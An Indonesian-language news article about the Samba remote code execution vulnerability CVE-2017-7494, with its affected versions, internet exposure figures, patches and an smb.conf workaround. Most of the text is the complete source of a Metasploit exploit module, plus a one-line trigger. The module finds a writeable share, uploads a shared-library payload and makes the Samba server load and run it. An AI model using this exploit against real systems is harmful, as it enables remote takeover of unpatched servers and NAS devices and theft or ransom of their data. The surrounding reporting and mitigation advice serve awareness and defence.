Kerentanan kritis 7 tahun remote code execution kali ini ditemukan dalam software jaringan Samba. Kerentanan RCE Samba ini memunginkan attacker untuk mengendalikan mesin Linux dan Unix yang terkena dampak dari jarak jauh atau secara remote.
Samba adalah software open-source (implementasi ulang protokol jaringan SMB) yang berjalan pada sebagian besar sistem operasi yang ada saat ini, termasuk Windows, Linux, UNIX, IBM System 390, dan OpenVMS.
Samba memungkinkan sistem operasi non-Windows, seperti GNU/Linux atau Mac OS X, untuk berbagi folder, file, dan printer dengan sistem operasi Windows.
Kerentanan RCE Samba yang baru ditemukan ini (CVE-2017-7494) mempengaruhi semua versi yang lebih baru dari Samba 3.5.0, yang dirilis pada tanggal 1 Maret 2010.
“Semua versi Samba dari 3.5.0 dan seterusnya rentan terhadap kerentanan RCE, yang memungkinkan klien jahat mengunggah share library ke bagian yang writeable, dan kemudian menyebabkan server memuat dan menjalankannya,” tulis Samba dalam sebuah advisory yang diterbitkan Rabu kemarin.
Eksploit EternalBlue untuk versi Linux?
Menurut mesin pencari Shodan, lebih dari 400.000 komputer menjalankan Samba yang mengekspos port 445 di Internet, dan menurut para peneliti di Rapid7, lebih dari 104.000 titik akhir yang terpapar internet tampaknya menjalankan versi Samba yang rentan, dari 92.000 diantaranya menjalankan versi Samba yang sudah tidak didukung.
Karena Samba adalah protokol SMB yang diterapkan pada sistem Linux dan UNIX, maka beberapa ahli mengatakan bahwa ini adalah “versi Linux dari EternalBlue,” yang digunakan oleh ransomware WannaCry.
Mengingat jumlah sistem yang rentan dan mudahnya mengeksploitasi kerentanan ini, kerentanan RCE Samba dapat dimanfaatkan dalam skala besar dengan kemampuan wormable.
Exploit Code?
Kerentanannya ini sangat mudah dieksploitasi. Hanya satu baris kode yang diperlukan untuk mengeksekusi kode berbahaya pada sistem yang terpengaruh.
simple.create_pipe("/path/to/target.so")
Namun, Samba exploit telah di porting ke Metasploit, sebuah framework pentest, yang memungkinkan periset serta hacker memanfaatkan kelemahan ini dengan mudah.
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Samba is_known_pipename() Arbitrary Module Load', 'Description' => %q{ This module triggers an arbitrary shared library load vulnerability in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module requires valid credentials, a writeable folder in an accessible share, and knowledge of the server-side path of the writeable folder. In some cases, anonymous access combined with common filesystem locations can be used to automatically exploit this vulnerability. }, 'Author' => [ 'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery 'hdm', # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-7494' ], [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ], ], 'Payload' => { 'Space' => 9000, 'DisableNops' => true }, 'Platform' => 'linux', # # Targets are currently limited by platforms with ELF-SO payload wrappers # 'Targets' => [ [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], # [ 'Linux MIPS', { 'Arch' => MIPS } ], ], 'Privileged' => true, 'DisclosureDate' => 'Mar 24 2017', 'DefaultTarget' => 2)) register_options( [ OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']), OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']), OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), ]) end def generate_common_locations candidates = [] if datastore['SMB_SHARE_BASE'].to_s.length > 0 candidates << datastore['SMB_SHARE_BASE'] end %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name| candidates << base_name candidates << [base_name, @share] candidates << [base_name, @share.downcase] candidates << [base_name, @share.upcase] candidates << [base_name, @share.capitalize] candidates << [base_name, @share.gsub(" ", "_")] end candidates.uniq end def enumerate_directories(share) begin self.simple.connect("\\\\#{rhost}\\#{share}") stuff = self.simple.client.find_first("\\*") directories = [""] stuff.each_pair do |entry,entry_attr| next if %W{. ..}.include?(entry) next unless entry_attr['type'] == 'D' directories << entry end return directories rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Enum #{share}: #{e}") return nil ensure if self.simple.shares["\\\\#{rhost}\\#{share}"] self.simple.disconnect("\\\\#{rhost}\\#{share}") end end end def verify_writeable_directory(share, directory="") begin self.simple.connect("\\\\#{rhost}\\#{share}") random_filename = Rex::Text.rand_text_alpha(5)+".txt" filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" wfd = simple.open(filename, 'rwct') wfd << Rex::Text.rand_text_alpha(8) wfd.close simple.delete(filename) return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Write #{share}#{filename}: #{e}") return false ensure if self.simple.shares["\\\\#{rhost}\\#{share}"] self.simple.disconnect("\\\\#{rhost}\\#{share}") end end end def share_type(val) [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val] end def enumerate_shares_lanman shares = [] begin res = self.simple.client.trans( "\\PIPE\\LANMAN", ( [0x00].pack('v') + "WrLeh\x00" + "B13BWz\x00" + [0x01, 65406].pack("vv") )) rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Could not enumerate shares via LANMAN") return [] end if res.nil? vprint_error("Could not enumerate shares via LANMAN") return [] end lerror, lconv, lentries, lcount = res['Payload'].to_s[ res['Payload'].v['ParamOffset'], res['Payload'].v['ParamCount'] ].unpack("v4") data = res['Payload'].to_s[ res['Payload'].v['DataOffset'], res['Payload'].v['DataCount'] ] 0.upto(lentries - 1) do |i| sname,tmp = data[(i * 20) + 0, 14].split("\x00") stype = data[(i * 20) + 14, 2].unpack('v')[0] scoff = data[(i * 20) + 16, 2].unpack('v')[0] scoff -= lconv if lconv != 0 scomm,tmp = data[scoff, data.length - scoff].split("\x00") shares << [ sname, share_type(stype), scomm] end shares end def probe_module_path(path) begin simple.create_pipe(path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Probe: #{path}: #{e}") end end def find_writeable_path(share) subdirs = enumerate_directories(share) return unless subdirs if datastore['SMB_FOLDER'].to_s.length > 0 subdirs.unshift(datastore['SMB_FOLDER']) end subdirs.each do |subdir| next unless verify_writeable_directory(share, subdir) return subdir end nil end def find_writeable_share_path @path = nil share_info = enumerate_shares_lanman if datastore['SMB_SHARE_NAME'].to_s.length > 0 share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', ''] end share_info.each do |share| next if share.first.upcase == 'IPC$' found = find_writeable_path(share.first) next unless found @share = share.first @path = found break end end def find_writeable find_writeable_share_path unless @share && @path print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER") fail_with(Failure::NoTarget, "No matching target") end print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path") end def upload_payload begin self.simple.connect("\\\\#{rhost}\\#{@share}") random_filename = Rex::Text.rand_text_alpha(8)+".so" filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}" wfd = simple.open(filename, 'rwct') wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform} ) wfd.close @payload_name = random_filename return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e print_error("Write #{@share}#{filename}: #{e}") return false ensure if self.simple.shares["\\\\#{rhost}\\#{@share}"] self.simple.disconnect("\\\\#{rhost}\\#{@share}") end end end def find_payload print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}") # Reconnect to IPC$ simple.connect("\\\\#{rhost}\\IPC$") # # In a perfect world we would find a way make IPC$'s associated CWD # change to our share path, which would allow the following code: # # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}") # # Until we find a better way, brute force based on common paths generate_common_locations.each do |location| target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/') print_status("Trying location #{target}...") probe_module_path(target) end end def exploit # Setup SMB connect smb_login # Find a writeable share find_writeable # Upload the shared library payload upload_payload # Find and execute the payload from the share find_payload rescue Rex::StreamClosedError # Shutdown disconnect end end
Patch dan Mitigasi
Samba telah menambal masalah ini di versi baru 4.6.4 / 4.5.10 / 4.4.14, dan mendesak mereka yang menggunakan versi rentan dari Samba untuk menginstal patch sesegera mungkin.
Tapi jika kamu tidak bisa mengupgrade ke Samba versi terbaru dengan segera, kamu bisa mengatasi kerentanan tersebut dengan menambahkan baris berikut ke file konfigurasi Samba di smb.conf:
nt pipe support = no
Setelah ditambahkan, restart daemon SMB (smbd) dan selesai. Perubahan ini akan mencegah klien untuk sepenuhnya mengakses beberapa mesin jaringan, serta menonaktifkan beberapa fungsi untuk sistem Windows yang terhubung.
Sementara vendor distribusi Linux, termasuk Red Hat dan Ubuntu, telah merilis versi patch untuk penggunanya, risiko yang lebih besar adalah konsumen perangkat NAS yang mungkin tidak akan diperbarui dengan cepat.
Craig Williams dari Cisco mengatakan bahwa mengingat fakta kebanyakan perangkat NAS menjalankan Samba dan memiliki data yang sangat berharga, kerentanannya “berpotensi menjadi worm ransomware Linux skala besar pertama.“
Namun, saat ini juga Samba telah menyediakan patch untuk versi yang lebih tua dan sudah tidak didukung.
Sementara itu, Netgear merilis sebuah advisory keamanan untuk CVE-2017-7494, dengan mengatakan sejumlah besar router dan model produk NAS terpengaruh oleh kekurangan tersebut karena mereka menggunakan Samba versi 3.5.0 atau yang lebih baru.
Namun, perusahaan tersebut saat ini merilis firmware fixes hanya untuk produk ReadyNAS yang menjalankan OS 6.x.